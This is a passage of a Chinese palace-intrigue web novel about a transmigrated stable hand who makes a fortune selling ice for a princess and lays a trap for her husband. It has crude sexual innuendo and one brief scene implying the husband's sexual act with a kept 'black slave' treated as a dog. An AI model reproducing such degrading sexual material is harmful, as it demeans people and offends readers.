突如其来的诗,听的怜香心花怒放,声音都柔媚了三分,“季郎……” “先洗脚!” …… 公主寝殿。 李清瑶站在书案前,掀袖研墨,宛如簪花,不消片刻几首诗词便跃然纸上。 赫然是季褚所做的每一首。 这时,韩江雪面若寒霜的走了进来。 李清瑶拿起刚刚写好的字帖,秀眉轻蹙,多了些许说不清道不明的愠怒,“又,又开始了?” 韩江雪点点头,给自己倒了杯茶吨吨吨喝下肚,“那就是头牲口,每晚回去都不消停。而且一边折腾怜香,一边做隂诗,简直恶心至极。 我看他早晚死在女人肚皮上。” 明明是好诗,每一首都意境绝佳,可听表妹这样一说,李清瑶就跟吃了苍蝇一样,瞬间觉得自己刚刚写的字帖不香了。 “今日又做了什么诗?” “劝君莫惜金缕衣,劝君须惜少年时。 有花堪折直须折,莫待无花空折枝。 听听,听听,简直不堪入耳。 更令人不耻的是,他乃公主亲封的七品府令,竟然帮一青楼女子洗脚。 表姐,换个人盯吧,我怕哪天忍不住,砍了他的狗头。” 帮女人洗脚? 李清瑶嘴角抽了抽,“罢了,不提他,只要他不想着逃跑就行。 驸马那边呢,有什么动静?” “下午有人出府去了宋府。” “嗯,知道了,庄子那边让人盯紧,绝对不能出任何意外。” “放心吧,马校尉带了五百府兵,桑娘子带了四十死士,各个都是好手,绝对出不了意外。” “嗯,没什么事你也早点休息!” “喏!” 送走韩江雪,李清瑶再次回到书案前。笔锋落处,字挟风雷,多了几分肃杀之气。 “劝君莫惜金缕衣,劝君须惜少年时。 有花堪折直须折,莫待无花空折枝。季褚,季伯赢……江雪说的没错,早晚死女人身上,既然那么喜欢帮人洗脚,本宫就成全你,让你天天洗,哼!” 夜,渐渐深了。 城外庄子,上千人正在为制冰事业发光发热。 一道黑衣蒙面的身影悄无声息的进了驸马书房。 “属下王彪,见过大少爷!” “起来吧!”宋辉嘬了口茶,“可打探清楚了?” “回大少爷,属下无能,车队去了城外庄子,就被公主的人围的水泄不通,几次试探,全都无功而返,而且折了三个兄弟。” “废物!全是废物,首尾处理干净了吗?”宋辉咬牙切齿道。 “大少爷放心,派出的全部都是死士,查不到咱们宋府头上。 而且今晚不止咱们宋府,还有另外几波人马也试图闯入庄子刺探消息,也都被公主的人打退了。 夫人猜测,公主府如此大费周章,而且收那些厕土便耗银无数,必然和赚钱有关。” “赚钱?”宋辉皱眉思索,“用厕土也能赚钱?” “夫人是这样说的,不然,长公主何必背负着骂名还要砸下大笔银钱? 夫人一直心忧少爷的处境,让我带话给您,能不能想办法从公主府内打探出有用的消息,这也许是个机会。 不管是宋府分上一杯羹,觐献给三殿下,还是破坏掉公主原本的谋划,三殿下都能看到我宋府的诚意。或许能请动皇后娘娘,劝说陛下下旨和离。” 听到和离,宋辉阴鸷的脸上闪过一抹戾气,“我知道了,回去告诉母亲,我会想办法。” “是!” 王彪来无影去无踪。 很快房间里就又只剩下了宋辉一人。 “赚钱吗?难道是那马夫出的主意?可他既有赚钱的本事,为何心甘情愿待在府里养马?”越想宋辉脑袋就越疼。 得知季褚当上府令,他就让人查过季褚的底细,可李清瑶早一步让人替换掉了季褚过往经历。 虽然已经意识到很有可能真是季褚出的主意,可他依旧不敢相信。 “罢了,不想了,回头屈尊去问问那个狗奴才。” 这样想着,宋辉起身出了书房,仔细看了看周围,然后回了卧房。 然后将养在屋里的黑奴牵到榻前,慢慢解开了腰带,摸着狗头,呼吸渐渐变的粗重起来,“李清瑶……李清瑶……你个狗一样的贱人,哈哈哈哈,给爷舔……嘶……呼!” 次日,一早。 季褚美美的睁开了眼,虽然没有空调风扇,可屋里放置着好几个冰盆,抱着怜香软乎乎的身子,这一觉睡的别提有多美了。 怜香显然也早就醒了,他一动,便立刻睁开了眼,羞赧道:“季郎,妾身错了。” 季褚伸出手,捏了捏她那白里透红,越发水嫩的脸蛋,“又怎么了?” 怜香自责道:“妾身一介女流,岂可骑在郎君身上,现在想想,昨日简直荒唐。” “咳咳……”季褚尴尬的不行,强行挽尊,“昨日我便说过,男女平等。你我虽没名分,却已有夫妻之实,两口子,谁在上,谁在下……都一样,咳咳,都一样……再说我觉得挺好……” 怜香顿时闹了个大红脸,嗔了季褚一眼,经历过昨日之事,她又岂会听不懂季褚的言外之意。 “我去做饭,你再歇会儿。” “好!” 季褚笑着放开对方,往旁边挪了一下,让她下床。 怜香找出衣服换上,对着镜子随便挽了一个简单的妇人发髻,便端着水盆出了屋。 季褚伸了个懒腰,也没心思赖床,正准备起身,竹儿打了水推门走了进来。 “大人,奴婢伺候你更衣。” “也罢,有劳竹儿姐姐了。”季褚无奈的说道。 第21章 歪了的公主府风气 说实话,他是真有点接受不了被人伺候穿衣,可这年头的官服十分繁琐,一个人穿费劲不说,穿好也不够板正。 而且大热天穿着厚厚的官服,属实遭老罪了,让他很是想念原主养马时穿的那身简单衣服。 竹儿伺候起人来,那也是相当专业,先是柳枝粘盐净口,然后用涮洗好的毛巾净面净手,最后梳了个新头。 全程季褚只需坐在镜子前闭目养神即可。 完事又找来一身干净的官服,官帽,开始穿戴。 季褚倒是没发现自己身体的变化,可竹儿连续数日伺候季褚起身,却看的清清楚楚。 马夫干的本来就是力气活,原先的季褚其实也挺健硕的。 可现在的季褚,光着膀子,不仅胸肌充满了侵略性,就连腹肌也如同排列整齐的豆腐块,精致有型,线条分明。 穿上衣服看不出来,光着膀子就很明显了。 尤其是那双漆黑的眸子,灵动生辉,没有读书人那种刻板,那种自信中带着一丝玩世不恭的气质,看的竹儿没由来一阵心跳加速,好似有一百只小鹿在心头乱撞。 莫非做那事,也能强身健体? 想到这,心里又莫名一阵郁闷。 她自幼长在深宫陪伴公主左右,公主身边别说男人,连个太监都没有。 以前倒是不觉得有什么,可自打被公主派到季褚身边,每天晚上都能听到那种让人难以启齿的动静,心里就好似有棵种子发了芽。 她很清楚,她们这种贵人身边的贴身宫女,要么一辈子守着公主,老了以后在公主身边当个嬷嬷。 要么就是被公主许配给府里的管事。 之前公主派她监视季褚的一举一动,并无特别要求。可现在,公主特意叮嘱,除了监视,一定要把人伺候好。 说明什么,说明以后公主大概率会将自己许配给对方。 身为公主贴身丫鬟,她自是知道公主到底有多看重季褚,尤其那天,连太子殿下都与他把酒言欢。 这样一个有本事的男人,她自然愿意。 可一想到自己的男人,每天被一个青楼女子迷得五迷三道,怎么想,怎么来气。 季褚见她突然走神,时而娇羞时而生气,脸上的表情变了又变,不由好奇道:“怎么了竹儿姐姐?” “没,没什么。”竹儿一颗心差点从嗓子眼里蹦跶出来,赶忙收敛心神,伸出双手,环住季褚的腰,将腰带拉了过来。 身体碰到那结实的胸膛,竹儿就跟过了电一样,赶忙把头底下。 “你是不是累了,要是累了,今日就给你放个假,不用跟在身边伺候了。”季褚道。 他也不想难为人家,可任谁也不喜欢身边有双眼睛一直盯着自己的一举一动,那就只能不停的折腾她,让她知难而退。 竹儿这会儿正思春,突然的关心,宛如一道暖流,瞬间填满了心海,“府令大人,奴婢有句话不知当不当讲。” “讲。” “府令大人当以公务为重,保养好自己的身体。” 季褚:…… “院里还有一间厢房,你尚未娶妻,天天让怜香一个丫鬟住你屋里,不合规矩。” 季褚两世为人,也不懂这些丫鬟的心思啊,皱眉道:“这是公主让你说的?” “不是,奴婢只是就事论事而已,而且怜香出身青楼,会的那些本事,很容易弄坏你的身子……啊!” 啪! 季褚啪的一巴掌扇在了竹儿屁股上。 竹儿眼眶一红,瞬间布满了水汽,“你,你你……” “你什么你,记住了,怜香不是丫鬟,做好自己的本职工作,这种话我不想再听第二遍,当然,你尽可去公主面前告我的状。 行了,你出去吧,唤怜香进来。” “喏!”竹儿小嘴一噘,福了一礼便委屈的退出房间。 不多时,怜香便匆匆走进了屋子,“季郎,我怎得见竹儿姐姐哭了。” “没什么,帮我更衣!”季褚道。 竹儿刚才的话让他突然意识到,自己不能总是以前世的思维来面对眼前的世界。 不能光有平易近人,还得使人敬畏尊崇。 毕竟,这是一个等级相当森严的世道。 适当的敲打一下身边的人,也是有必要的。 怜香哦了一声,也没在说什么,快速上前帮他整理好衣衫。 简单的吃了口早饭,季褚便带着竹儿前往值房点卯。 而此刻,京师最繁华的西市。 一大早,就有人注意到,门口出现了一个大台子,上面用红布盖着一个什么东西。 姬坤早早带人过来布置现场,只等在最热闹的时候将红布掀开。 “姬管事,如此大事,府令大人为何没有亲自过来?”一个管事小声问道。 姬坤赔了个笑,然后突然一肃,朝着公主府方向抱了抱拳,“府令大人日理万机,这等小事岂能再劳烦他老人家,大人虽未亲至,却早已吩咐下来,此事关系重大,大家务必谨慎,不得有半点差池。” 管事神情一肃,立马有样学样,也拍了公主几句马屁。 开始还有些羞耻,可看到季褚越来越受公主器重,连他提拔上来的人,如今都凌驾到了他们这些老管事头上,不学是真不行啊! 你别说,几句马屁拍完,整个人都通透了呢! 而季褚哪里是不去现场,穿越好几天了,天天窝在公主府,天知道他多想出去浪 可终究还是忍住了。 没办法,人家穿越不说秒天秒地秒空气,那也得是王霸之气一震,要啥有啥。 再不济,穿越成皇子,成国公王爷之子,而他穿越成了汁子,社会最底层。 虽然混了个七品小官,开局送了个大美女暖床,可这小身板属实不够硬朗啊! 万一传出去,是他操盘坑了三皇子党的人,那些权贵一人一个眼神,他这辈子也就到头了。 所以他是能多低调,就多低调。 连如何布局,都是把那六位公主亲信和姬坤叫到一起,悄咪咪的吩咐。 总之苟一点,绝对没坏处。 他可不想还没逃出公主府,就被别人安排的死士嘎了。 随着时间一点一滴流逝,台子周围的人越聚越多。 姬坤扯着嗓子喊了一声,台上红布立马被人扯下,露出了一座巨大的冰雕佛像。 嘶! “好大啊!” “好雄伟!” “冰冰冰,这个佛像是冰做的,这是哪家的败家子,这么大一块冰,简直暴殄天物……” “大家静一静!”姬坤走上台,用力敲了一下锣,扯着嗓子喊道:“富源冰店今日开张,只需十两就能买到一斤冰,数量有限,先到先得。” “当真只要十两?”有人惊喜喊道。 “没错,开业大酬宾,只要十两,需要的客官老爷可去前方十丈路西的富源冰店登记,送货上门。 你买不了吃亏,你买不了上当,买到就是赚到了啊!” 第22章 天宫人的财富 姬坤一嗓子喊出,哗啦啦立刻散了不少人。 每天一大早,满京城达官显贵府邸都会派人来西市采买,其中就有不少说话算的管事,这些人几乎不约而同的前往富源冰店。 还有一些下人,则去了另外一个方向,回府报备。 货真价实的冰块,一斤只要十两,简直就是买到就是赚到。 十两多吗? 多,但也是分群体的。 三两银子就能买个黄花大闺女回去当婢女,绝大多数普通老百姓甚至一辈子都没见过这么多钱。 可不管哪个朝代,都有一部分活在天宫里的人,对他们而言,十两不过九牛一毛。 没多久,原先的布庄铺子,如今的富源冰店就被人各府管事挤爆了。 季褚待在值房,其实内心并不平静。 别看在公主和太子面前侃侃而谈,说的那叫一个牛逼。可有个词叫纸上谈兵,他也怕啪啪打脸啊,万一无人问津,恐怕他今日便会人头落地。 不怪他这样想,因为一大早公主就派寒江雪前来等待消息。 那家伙,抱着剑,一个劲的在他面前走来走去,眼睛还时不时朝他脖子上瞄一眼。 “我说韩大人,你能不能别晃了,晃得我眼晕。”季褚忍着心烦,说教道:“古语有云,凡做大事者,须具处变不惊之定力。 稳如磐石不动摇,静似寒潭无波澜。 纵使惊涛拍岸来,亦能从容面对。 身为殿下贴身护卫,您代表的可是殿下的颜面,你看你现在这样,多大点事儿,何至于急成这样。” 韩江雪哼了一声,继续我行我素。 她确实很急,急着砍下季褚的狗头。 “要不你先坐下喝杯茶,想必很快就有……” 季褚这话还没说完,就见一小厮急匆匆冲进了值房,“爆了,爆了,大人,如您所料,咱们得冰卖爆了。” “什么?”季褚狂喜,噌的一下起身,不顾身份的冲上前将人扶住按在了椅子上,连忙倒茶递给对方,“快快快,与我详细说说。” 见他这般,竹儿噗嗤一下笑出了声。 似乎,好像,早起的事儿,也没那么生气了。 韩江雪则是瞪圆了眼睛,一眨不眨的盯着小厮。 小厮瞄了一眼两位如花似玉的女官大人,红着脸道:“今日三万斤冰,刚开卖就有一家想要包圆。吕管事铭记大人叮嘱,就是那什么饥饿营销,然后巴拉巴拉……” 头一次制冰全是生手,所以昨晚只做出了三万斤现货。 也正因此,季褚才会如此担心。毕竟,计划赶不上变化。 听完汇报,悬着的心彻底放回了肚子,努力让自己冷静,可那嘴角怎么压都压不住。 好好好啊。 狗头保住啦! 交付过程中,去掉运输损耗,那肯定也有二十八九万两银子到手。 而且这还不算各大府邸的订单。 就小厮来报之前,各大府邸的定金已经收了十万两。 当时定的是收取总价格百分之十的定金,这一天下来,怕不是能卖出几百万两? 几百万两啊! 娘的,天宫人的财富,果然不是普通人能想象的。 “韩大人,速去禀报公主,事成矣!” “算你好运。”韩江雪傲娇的哼了一声,一转身,立马放飞自我,三两步消失在了视线之中。 寝殿。 “公主,公主……” “如何?”见韩江雪毫无形象的冲进来,李清瑶也跟着下意识站起身。 不是公主没见过世面,实在是府令大人画的饼子又大又圆。 “三万斤现货上架便已售罄,按照目前的估算,今日一天,便能卖出几百万两的利润。” “多少?”李清瑶凤眸圆睁,简直不敢相信自己的耳朵。 “几百万两!” 话音落,李清瑶扑通一下,一屁股瘫软在了踏上,整个人就跟失了魂一样,“几百万两,几百万两……哈哈哈,哈哈哈哈,季伯赢,本宫果然没看错你!” 由此大才,何愁康儿的皇位。 见到公主如此毫无形象,韩江雪立刻挥退侍女。 “表姐……” “是本宫失仪了。”李清瑶拿起手帕轻掩鼻翼,可那发自内心的高兴,又令她实在控制不住,笑的肩膀一抽一抽的。 她的封地也算富庶,一年下来,也不过四五十万两的进项,加上杂七杂八的产业,公主府一年大概有八九十万的收入。 可她还有五千公主护卫要养,开支也大,实际上每年能存下十万两都算多的。 今年天灾不断,太子大婚也需要她一力承担,这些年的家底都掏空了。 没想到,季褚一天就帮她赚了数十年的收入,她怎能不喜,怎能不激动。 别说太子想要大波,她现在都想要了。 “公主?” “嗯,季褚呢?” “还在值房。” “他倒是坐得住,如此大事,不去现场坐镇,也不怕出了纰漏。” 讨厌归讨厌,但韩江雪现在也不得不佩服季褚的能力,快速将今个的事儿汇报了一遍。 李清瑶何等聪明,瞬间想明白了季褚的用意,“这还真是个妙人,胆大的时候无法无天,胆小的时候又贪生怕死! 你附耳过来……” “哦!”韩江雪立马凑上前。 听完,瞬间瞪圆了眼睛,“这岂不是会帮他扬名?我见他尚未归心,万一投靠了别人咋办?” “他想躲在后面,本宫偏要帮他扬名推倒前面,只有这样,才能令他和公主府彻底捆绑在一起。 那天的计策你也听到了。 到时,所有人都知道是他坑了三皇子,除了本宫,还有谁能护着他? 他是个聪明人,自会权衡利弊。 对非常人就得使一些非常手段,我看他如何逃得过本宫的手掌心。” “殿下英明!” “去吧!”李清瑶搅紧帕子端起一旁的茶盏,目光不自觉的落到了脚上,似乎想到了什么,嘴角微微翘了翘。 …… 酉时,夕阳西垂。 公主府值房。 今日售冰收益已经清算完毕。 头一批冰,去掉损耗得银二十八万一千两,这么热的天损耗不足两千斤已经很不错了。 一天下来,陆续交付两批十万斤,得银百万。 尚有未交付定金,收入三十九万七千两。 也就是说,今天一天,公主府就进账一百六十七万八千两。 如今这些银票就整整齐齐放在季褚旁边的大匣子里。 七大管事管事排排坐,齐齐看着端坐上首的季褚。 目光中全是震惊以及崇拜。 季褚关上钱匣子,心在滴血。 挣了这么多钱,可惜不是自己的…… 他忍着心疼,一一扫向众人,“诸位辛苦了。” “为公主服务,万死不辞!”姬坤带头抱拳高举,标准到与太阳穴齐平。 季褚面皮一抽,心里直呼一个好家伙,略有深意的看了姬坤一眼:活学活用,这小子,是个当狗腿子的料! 季褚压了压手,“诸位的功劳,我全看在眼里,但现在还不是高兴的时候,接下来我们还有一场硬仗要打。 尤其是吴管事,庄子那边的生产速度还要提高。” “喏,属下待会儿便回庄子亲自督促。” 季褚点点头,“吕管事,铺子那边也要加紧开拓新客户,不要一直盯着城里那些权贵世家,城中的各大商人也都是我们潜在客户。 可以适当让利,让他们把冰运出城,卖给周围的地主乡绅。尤其是亲近三皇子党系的人,可以多让一些,尽可能的将其一网打尽。” “属下明白!” 季褚微微颔首,随后打开钱匣子取了两万两银票拍了桌上,“今日大家辛苦,管事一人一千两,剩下的平均分配给所有参与制冰的有功之人。 告诉他们,公主人美心善,圣明睿智,赏罚公正严明。凡为公主效力之人,皆能得其所应得,好处定当丰厚,绝不辜负诸君之付出。” 众人先是一愣,随即狂喜,齐齐抱拳再来一次,“愿为公主效死!” 季褚站起身,“姬管事,这事儿你亲自监督,务必发放到每一位有功之人手里。” 尤其是那句每一位,他特意加重了语气。 “喏!” “大家都各忙各的去吧!”季褚抱起钱匣子,跟着竹儿出了值房,外面,李清瑶早就派韩江雪等候多时。 第23章 殿下,还加个钟不? 一行人匆匆前往寝殿复命。 季褚叩拜行礼,“臣季褚,参见公主。” 韩江雪快步上前,将钱匣子放到了李清瑶手边,小声低语几句。 李清瑶凤眸微垂,居高临下的看着季褚,“季爱卿好大手笔,两万两说赏就赏!” 季褚眼皮一跳,“殿下不差饿兵,何况今日便收入上百万两,如此多的钱财不赏,难免会让下面人心凉。为了调集下面的积极性,臣觉得不仅要重赏还要速赏。若有僭越,还请公主治罪。” “爱卿何至于此,你为本宫赚了这么多银两,本宫怎忍苛责。 何况你只是邀买人心罢了,这也方便你以后管理公主府。” 季褚不自觉的咽了口唾沫,娘的,果然不能小看任何人。 “臣一心为公,绝无邀买人心之意。” “好了,些许小事本宫不怪你,相反,你未因此中饱私囊,本宫甚慰。 爱卿方才所言,不能凉了人心,要赏,应重赏速赏,本宫深以为然。 爱卿立下如此大功,你认为本宫应该如何赏卿?” 季褚冷汗涔涔,这娘们说的好听,可那股子阴阳怪气,却给人一种虽不至于现在就狡兔死,走狗烹,但肯定也落不得好的感觉。 “幸得公主赏识,才有臣的今天,臣也不过是做了一些微不足道的小事罢了。 然,雷霆雨露皆是君恩,公主非要赏臣,臣也只能虚心领旨。” “听闻季府令最擅脚底按摩,就赏你为本宫沐足吧!” 季褚愕然抬头,正好迎上了那双满是玩味眸子。 不是,老子为你赚了几百万两,你赏老子帮你洗脚?你丫脚是金子做的啊,金子也没这么值钱吧? “妙锦!” 妙锦点头,立马转身离开,不多时便端着一个木桶,笑吟吟的放到了李清瑶脚前,然后退到了一旁,笑道:“府令大人,领赏吧!” “公主金尊玉贵之身,臣岂敢亵渎。” “无妨,本宫赐你无罪,怎得,莫非你敢抗命不成?” 话音落,韩江雪刷的一下按住了剑柄。 “臣不敢,这便为殿下沐足!”季褚一咬牙,只好起身上前。 李清瑶双手撑塌,向后挪了挪屁股。 季褚拉过马扎坐下,两条如藕般的小腿,随着轻轻卷起的纱裙渐渐呈现眼前。 当着这么多人的面,季褚可不敢有半点僭越之嫌,只能在心里感慨,这娘们不愧是铁公鸡,一根毛都没有。 “入库吧!”李清瑶推了推钱箱子。 妙锦立马上前抱着钱箱子走了出去。 随着脚步走远,季褚最后那点期待也没了。 托起莲足,去掉鞋子,将那圈裹脚布一圈一圈取下,很快一双三十七码,根根分明宛如美玉一般的脚丫便出现在了眼前。 要是脚玩年选手,肯定老鸡动了。 可惜他不是。 季褚刚要去托另外一只,李清瑶主动抬起腿递到了面前,一股酸中带香直扑鼻腔。 公主怎么了,公主也是人啊,这么热的天,裹了一天哪有没味道的。 “季府令似乎很不情愿为本宫沐足?” “臣不敢,能为公主服务,是臣的福分。”季褚一边说,一边加快速度,赶紧把公主两个“臭脚丫子”按在水里。 “既是福分,那以后你便为本宫日日沐足可好?” “好!”季褚翻了个白眼,咬着后槽牙,把手伸水里,嘎嘎一顿揉搓。 经常做足疗的小伙伴都清楚,头一次,别管点几号技师,只要不要特殊服务,做的过程压根不会舒服。 真正舒服是做完以后的后劲。 加之季褚故意。 李清瑶时而握拳,时而皱眉,一忍再忍,整场体验下来,完全没有耳目汇报的那样让人舒坦。 她总感觉季褚在打击报复,但又找不到证据。 想要治罪,可季褚刚刚立功,也是自己让她按的,身为公主岂能出尔反尔。 季褚手若捣轮,啪啪啪啪的拍打脚面,看着李清瑶那一脸痛苦忍耐的模样,心里不禁一阵畅快,“殿下,还加个钟不?” 李清瑶秀眉微蹙,“何为加钟?” “就是在来一遍!” 再来一遍,她可忍受不了。 不过…… 李清瑶扭头看向了侍剑立于一旁的韩江雪,“季府令的手法确有可取之处,江雪,不若你也来体验一番。” “喏!”韩江雪恶狠狠的瞪了季褚一眼,抱着剑坐到了一旁的椅子上,“来吧季府令,给本官加个钟!” 李清瑶压根不给季褚开口的机会,吩咐道:“妙锦,打一盆热水来。” “喏!” 季褚:…… 怎么有种挖坑把自己埋了的感觉? 大丈夫身居天地间主打的就是一个能屈能伸。 季褚只好拉着马扎移步来到面前,刚坐下,便感受到了一股沉沉的压迫感,下意识抬头,却发现根本看不到对方的脸。 不得不感慨,她的孩子,肯定短不了嘴。 习武之人的脚,不像是公主那样摸起来软糯糯的,反充而满了弹性,很有手感,只是酸味儿更大,脚背还行,脚底布满了老茧。 “用点力,没吃饭吗?” 季褚:…… “让你用力!” “对,用力……对,用力……嗯,还不错……” 韩江雪没有像李清瑶那般痛苦,反而半眯双眼,舒服的斜靠桌上,看的李清瑶直皱眉头,越发确信季褚刚刚就是故意的。 轻哼一声,重重将茶盏放在了桌上,“好了,天色已晚,本宫乏了,都下去吧!” 季褚如获大赦,赶紧告退。 前脚刚走,李清瑶抬手便将茶盏打落在地,“混账东西,本宫还不够大度吗,那点心眼子全都用到本宫身上了。” 韩江雪暗暗好笑,一边穿鞋一边说道:“表姐,你就是对他太好,所以他才敢有恃无恐。我天天吓唬他,他便不敢对我耍花招。 要我看,此人便是属那毛驴的,无需对他太好。 不老实,那就打一顿,一顿不行就两顿。 不过嘛,也确实有两下子,按完以后浑身都很舒坦。” 李清瑶斜睨的白了她一眼,旋即叹息道:“再看看吧!” …… “太丢人了,太给穿越的前辈们丢人了。还想让我天天给你洗脚,你天天给我洗还差不多。” 季褚一边脚步匆匆,一边在心里蛐蛐。 突然,一道黑影从前方阴暗处窜出拦住了去路。 季褚心里咯噔一下,正要喊护驾,熟悉的声音便传入耳朵,“借一步说话。” “驸马爷?” 第24章 本官这里不搞这一套 这两口子都不是啥好人。 不过李清瑶看自己看的那么死,想必身边肯定有暗卫跟着,倒是也不用担心,对方怎么着自己。 “不知驸马爷找在下何事?” 季褚跟着对方来到一处假山后面。 公主府贩冰本就没想瞒着人,这也是季褚故意为之。 为的就是将来把所有火力全都吸引过来,反正他一直躲在幕后。 火力越猛,自己的生命线越长,逃走的几率越大。 所以只要想查,一查便知。 宋辉待在府里处处受制,可他毕竟是驸马,府内名义上的二号人物,很多暗地里的事未必清楚,但摆在明面上的绝对门儿清。 去岁冬日,府内藏了多少冰,他能不清楚嘛。 结合前几日收厕土煮厕土,他心里已然有了一个大胆的猜测,那就是公主掌握了厕土制冰的办法。 “今日贩冰公主赚了多少银子?”宋辉开门见山。 “什么贩冰,我还真不知道啊!” 宋辉呵呵冷笑,阴鸷的眸子死死盯着季褚的眼睛,“季褚,我是真没想到,你藏得这么深,不要以为有公主撑腰,本驸马就奈何不了你,杀你,如同杀鸡。” “驸马爷,我真不知道您在说什么。” 宋辉不耐烦的摆了摆手,“够了,若非本驸马,你还在养你的马,岂能有今天。 我就问你,这份恩情,你认还是不认?” 我认你奶奶个腿。 要不是你,老子也不用这般水深火热。 “认,可是您问的这个问题我是真不知道啊!” “你敢说,那制冰的法子不是你进献的?” 季褚苦笑:“驸马爷,如若您是我,你有制冰的法子,会当下人养马吗?” “这……”宋辉眉头紧锁,下意识摸了摸下巴。 季褚压低了声音,“我自己制冰贩冰,不敢说大富大贵,肯定也好过当伺候牲口的下人对吧? 我为何被封为府令,您难道不知? 还不是公主殿下为了恶心您驸马爷。” 宋辉眼底闪过一抹戾气,突然叹了口气,“季褚,是爷害了你啊!” 季褚??? 啥情况,打感情牌? “公主早晚会卸磨杀驴,念在怜香跟过我爷一场的份上,爷也不想她以后无依无靠。 爷现在便赐你一场造化,事成之后,我会给你一大笔银子送你出府,保准你以后和怜香衣食无忧,你可愿意?” 季褚面皮一抽,果然不是一家人不进一家门,全特么都是画饼高手。 出了府,还有我的命活? 不过他的话,反倒是令季褚好奇起来,“驸马爷想让我做什么?” “你想办法,把制冰的配方给爷弄一份,对你来说应该不难。” “驸马爷,您如何断定我一定有办法?” “你是府令。” 季褚摇头苦笑,“这些日子,你可曾见我对府内之事指手画脚? 不瞒您说,我也想过当上府令就能耀武扬威,可那些管事一个都指挥不动。 每日定点去值房,去了就被人看管起来,跟坐牢没什么区别。” “当真这般?” “我怎敢欺骗驸马。” 为了前期保密,值房都是韩江雪亲自带人值守,开会也只是和公主那几位亲信管事,后来他又提拔了姬坤代他处理琐事,说的自然有恃无恐。 宋辉心里暗骂一句废物,“那公主方才召见所为何事?” “别提了,公主变着花样折磨我,竟然让我给她那些侍卫洗脚。”季褚痛心疾首的伸出手,“不信您闻闻,我手上现在还有酸臭气。” 宋辉嫌弃的退后两步,捏着鼻子摆了摆手,“够了够了,总之,你想办法把配方弄到手,本驸马答应你的绝对会兑现。” 说完,掉头就走。 季褚眯了眯眼,待到对方走远才道:“出来吧!” 盏茶过后…… 季褚四下看了看,试图借机找出暗卫的藏身地,可惜,看了半天只看到摇晃的树影,其他的毛都没看到一根。 季褚摇摇头,快步朝前走去,突然猛的回头,迅速四下张望。 “擦,这监控力度也不行啊。” 季褚继续往前走,耳朵一直束着,试图听到点动静,然而走回小院,都没听到异常。 不过为了稳妥,他还是叫来竹儿,把刚刚和驸马私底下见面的事,一句不落的说了一遍。 竹儿匆匆离开,也就怜香打水洗脚的功夫,袜子还没脱,竹儿的声音便从门外传来,“府令大人,公主说无需留情。” 宋辉娶了她,真是倒了八辈子血霉。 “知道了,你也早点休息!” 翌日。 季褚刚到值房,趁着竹儿去烧热水泡茶,姬坤狗狗祟祟的掏出两张银票,“大人,这是您的那一份。” 季褚眼睛一瞪,“不是让你都发出去吗,本府令还能缺了这点银子不成!” “大人是不缺,可大人才是当居首功之人,有赏,我等岂能独吞。这五千两,是我们几个管事商量好的,这一千两,是我单独孝敬您的。” “唉,本欲不收,可不收又寒了诸位的心。”季褚叹了口气,把五千两的揣进自己袖口,剩下一千两还给了姬坤,“拿着,以后好好为公主做事,本官这里不搞这一套。” “大人……” “收起来吧,让人看到了不好。” 姬坤高兴的把银票揣回袖口,“谢大人,属下以后定当尽心尽力,以大人马首是瞻。不知大人今日下值可否有空,我想请大人去万花楼听曲儿,放松放松。” 季褚的心狠狠悸动了一下,可一想到如今这处境,赶紧把那份悸动压下,正色道:“当务之急还是要将贩冰一事做好,过几日吧!” “也罢,一切都听大人的。” “下去吧!” 这时,竹儿也烧好水提着水壶走进了值房。 季褚往太师椅上一靠。 就这样,转眼便是五日之后。 兴许是那日的体验并不好,李清瑶倒是没再召他为其沐足,反倒是韩江雪用刀架着脖子逼他洗了两次脚。 这天傍晚做完统计,一日销量不足千斤,季褚就知道买过冰的人已经回过味来了。 冰这种东西,存的越多融的越慢,所以一开始价格合适,各个府邸自然是多多益善。 可如今,富源冰店每日都有销售,虽然还是采取饥饿营销方式售卖,但总归是买的到。 反正先前存的一时半会儿也用不完,购买欲望自然大大降低。 布置完后手,季褚便连夜敲响了宋辉的房门。 第25章 宋家,没有输的底气了。 这几日,宋家不停加派人手去庄子打探,可都铩羽而归。 一座金山就摆在那里,看得见吃不着,整的宋辉整个人异常焦躁。 如今瞧见季褚深夜前来,激动的差没跳起来,“可是制冰的法子弄到手了?” “没有。” 宋辉怒喝,“没有打探到,那你来我这里作甚?” “您听我说啊,我是没弄来方子,但我弄来了一个能让你得到方子的消息。” 宋辉再次转怒为喜,哈哈笑道:“我果然没看错你,说吧,什么消息?” “驸马爷,您看……”季褚不好意思的搓搓手。 宋辉强忍愤怒,从怀里摸出一张银票,“说吧!” 季褚笑着接过,一看才百两,脸色顿时一黑,“驸马爷,这是不是太少了?我可是冒着风险来给您传递消息,区区百两,你让我如何相信,事成之后您许诺的一大笔银子。” 宋辉无奈,只能忍着怒气,摸索一番又掏出一张。 “这也才一千一百两啊!”季褚嫌弃的把票子放到了桌上,“告辞,就当我没来过。” “等等!” 宋辉的眼神就跟淬了毒一样,再次摸出一张拍在了桌上,“最后三千两,我身上也只有这些了。” “哎,罢了,有这些钱足够我和香儿生活了。”季褚麻溜的将钱揣进怀里,“我今日听了一嘴,好像因为公主大肆敛财犯了众怒,惹得好多大人上奏弹劾。 公主扛不住压力,准备关掉铺子,所以暗中联系了一些商人,打算明晚在明月楼把配方卖出去。” “为什么要暗中?明着卖,不是能卖出更高的价格吗?” “这我哪里知道,兴许公主有公主的考量吧!” 宋辉闻言瞬间恍然,长公主和太子一母同胞,如今三皇子实力雄厚,大有取太子而代之的势头。 李清瑶挑选商人,显然是怕配方落到三皇子手中助长其势。 这样想,就全通了。 呵呵,李清瑶啊李清瑶,没想到你也有黔驴技穷的时候。 不过,四千一百两买了一个不是情报的情报,令宋辉就跟吃了苍蝇一样难受,不耐烦的摆了摆手,“下去吧!” “喏!” 季褚抱拳,转身离开。 回到小院,立马将钱一分不少的交给竹儿,“回禀公主,饵已下好,就等鱼饵咬钩。” 目送竹儿匆匆离开,季褚摸着怀里那偷昧的五千两银票,嘴中喃喃:公主啊公主,这回你能放心了不? 一炷香后。 竹儿回到小院,原封不动的将银票交给了季褚,“公主说了,府令大人居功甚伟,这些钱就当赏赐。 接下来的事便不用府令操心,可拿着这些钱,明日出府消遣一二。” 季褚瞬间打起了十二分警惕,给钱给假,她李清瑶会这么放心? 所以这绝壁又是试探。 不过,跟小爷玩这种上不了台面的计策,你还嫩着点,看咱俩谁熬得过谁。 “替我谢谢公主,好了,你下去吧,我要休息了。” 怜香关好门,立刻来到床榻旁,低声道:“季郎,明日我们要逃吗?” 